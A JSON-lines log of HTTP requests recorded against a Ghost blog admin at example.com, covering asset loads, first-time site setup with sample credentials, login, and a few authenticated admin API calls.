{"method": "GET", "target": "/ghost/assets/user-round-Tvyl-lTH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-BPjbwN-J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/users-B8l6egb_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/wallet-cards-DjKzv_P3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/webhook-BDtpHv94.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/x-D9mfak9O.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/zap-HzBi1coK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/icons-ClwlmWSu.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-ChMehFmm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/alert-dialog-fhP2wZq3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/avatar-BMfooKMK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/badge-DMeVfVsR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/banner-E48MJePb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dialog-Dgn8NUEz.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/overlay-escape-Zs8Fgpfg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-D-0IA9lC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dropdown-menu-C28h_ytx.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/empty-indicator-meoabaL0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/separator-BK1H909V.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/input-surface-iQhmm6Kt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/input-QTg0yKue.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/input-group-D4AIf997.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/kbd-Bbi4Nkkp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/sheet-CCNUcK2Q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-mobile-BD7lg4t-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/sticky-footer-nkSt2z_Z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/large-page-title-Ji9icfTU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/custom-theme-settings-D2WGaIc_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/themes-DSPpuTUn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/settings-loading-Dxi0iRq5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/iso-_B9XaeWP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-preferences-B0PbfB0i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/site-uZuXd-v3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/reload-Ct6s_xiO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/admin-link-CP2k2nca.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tags-CP6OL-4x.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/posts-ANvOkryA.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/command-B3vdhO98.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/popover-DRRhIsW0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/multi-select-combobox-BgzCpWMK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/index.module-CXVVhCXr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pages-CSQSKI6V.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tiers-KrkVJjTT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/label-picker-CHocWit1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/shared-views-av3Cu3au.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/api-o_yGTaqZ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/koenig-loader-Cc2OMiDU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/editor-loading-B2j1keaV.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/constants-CbfF6lyS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/moment-timezone-D5Us53JJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/logo-loader-88VPEpXE.mp4", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: identity", "Range: bytes=0-"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/users/me/?include=roles", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/settings/?group=site%2Ctheme%2Cprivate%2Cmembers%2Cportal%2Cnewsletter%2Cemail%2Clabs%2Cslack%2Cunsplash%2Cviews%2Cfirstpromoter%2Ceditor%2Ccomments%2Canalytics%2Cannouncement%2Cpintura%2Cdonations%2Csecurity%2Csocial_web%2Cexplore%2Ctransistor", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/site/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/config/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/setup-DWks57uU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/field-574pWL80.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/label-vIUVGh2q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-8uIrBDxl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/auth-layout-CaD1cj0i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/validator-C1GVGAAP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/password-rules-Co1GJV0H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/ghost-orb-bYPPSSAp.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/InterVariable-DiVDrmQJ.woff2", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/assets/index-C3xC5ZJE.css", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "Content-Length: 123", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"setup\":[{\"blogTitle\":\"Example Blog\",\"name\":\"Alice Example\",\"email\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 64", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}"}
{"method": "GET", "target": "/ghost/api/admin/members/?limit=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/themes/active/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/global-search-modal-7K0SXxhj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dirty-confirm-dialog-BY-NFehF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-dirty-confirmation-BZt1qjQk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/__vite-browser-external-QvLZ7d7o.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/search-index-BVbNE68U.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/open-section-Dbja-jTl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
